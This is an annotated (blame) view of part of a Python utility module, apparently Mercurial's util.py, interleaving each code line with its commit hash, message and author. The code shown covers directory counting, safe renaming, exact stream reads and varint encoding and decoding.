3513 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3514 def addpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3515 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3516 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3517 if base in dirs: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3518 dirs[base] += 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3519 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3520 dirs[base] = 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3521 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3522 def delpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3523 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3524 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3525 if dirs[base] > 1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3526 dirs[base] -= 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3527 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3528 del dirs[base] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3529 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3530 def __iter__(self): |
31430
807387581d89
py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents:
31404
diff
changeset
|
3531 return iter(self._dirs) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3532 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3533 def __contains__(self, d): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3534 return d in self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3535 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3536 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3537 if safehasattr(parsers, 'dirs'): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3538 dirs = parsers.dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3539 |
42538
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
3540 if rustdirs is not None: |
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
3541 dirs = rustdirs |
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
3542 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3543 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3544 def finddirs(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3545 pos = path.rfind(b'/') |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3546 while pos != -1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3547 yield path[:pos] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3548 pos = path.rfind(b'/', 0, pos) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3549 yield b'' |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3550 |
33820
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3551 |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3552 # convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3553 dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3554 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3555 |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3556 def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3557 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3558 Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3559 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3560 f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3561 tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3562 ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3563 others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3564 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3565 Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3566 in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3567 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3568 if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3569 others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3570 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3571 fn = b'%s~%s' % (f, tag) |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3572 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3573 return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3574 for n in itertools.count(1): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3575 fn = b'%s~%s~%s' % (f, tag, n) |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3576 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3577 return fn |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3578 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3579 |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3580 def readexactly(stream, n): |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3581 '''read n bytes from stream.read and abort if less was available''' |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3582 s = stream.read(n) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3583 if len(s) < n: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3584 raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3585 _(b"stream ended unexpectedly" b" (got %d bytes, expected %d)") |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3586 % (len(s), n) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3587 ) |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3588 return s |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3589 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3590 |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3591 def uvarintencode(value): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3592 """Encode an unsigned integer value to a varint. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3593 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3594 A varint is a variable length integer of 1 or more bytes. Each byte |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3595 except the last has the most significant bit set. The lower 7 bits of |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3596 each byte store the 2's complement representation, least significant group |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3597 first. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3598 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3599 >>> uvarintencode(0) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3600 '\\x00' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3601 >>> uvarintencode(1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3602 '\\x01' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3603 >>> uvarintencode(127) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3604 '\\x7f' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3605 >>> uvarintencode(1337) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3606 '\\xb9\\n' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3607 >>> uvarintencode(65536) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3608 '\\x80\\x80\\x04' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3609 >>> uvarintencode(-1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3610 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3611 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3612 ProgrammingError: negative value for uvarint: -1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3613 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3614 if value < 0: |
43077
687b865b95ad
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3615 raise error.ProgrammingError(b'negative value for uvarint: %d' % value) |
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3616 bits = value & 0x7F |
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3617 value >>= 7 |
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3618 bytes = [] |
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3619 while value: |
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3620 bytes.append(pycompat.bytechr(0x80 | bits)) |
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parents:
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3621 bits = value & 0x7F |
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3622 value >>= 7 |
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3623 bytes.append(pycompat.bytechr(bits)) |
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parents:
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|
3624 |
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3625 return b''.join(bytes) |
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|
3626 |
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3627 |
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3628 def uvarintdecodestream(fh): |
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parents:
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3629 """Decode an unsigned variable length integer from a stream. |
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parents:
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3630 |
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3631 The passed argument is anything that has a ``.read(N)`` method. |
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|
3632 |
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3633 >>> try: |
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3634 ... from StringIO import StringIO as BytesIO |
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3635 ... except ImportError: |
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3636 ... from io import BytesIO |
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3637 >>> uvarintdecodestream(BytesIO(b'\\x00')) |
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3638 0 |
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3639 >>> uvarintdecodestream(BytesIO(b'\\x01')) |
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|
3640 1 |
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3641 >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
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3642 127 |
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|
3643 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
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|
3644 1337 |
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|
3645 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
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3646 65536 |
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|
3647 >>> uvarintdecodestream(BytesIO(b'\\x80')) |
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|
3648 Traceback (most recent call last): |
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3649 ... |
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3650 Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
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3651 """ |
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3652 result = 0 |
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3653 shift = 0 |
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3654 while True: |
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3655 byte = ord(readexactly(fh, 1)) |
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3656 result |= (byte & 0x7F) << shift |
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3657 if not (byte & 0x80): |
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3658 return result |
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|
3659 shift += 7 |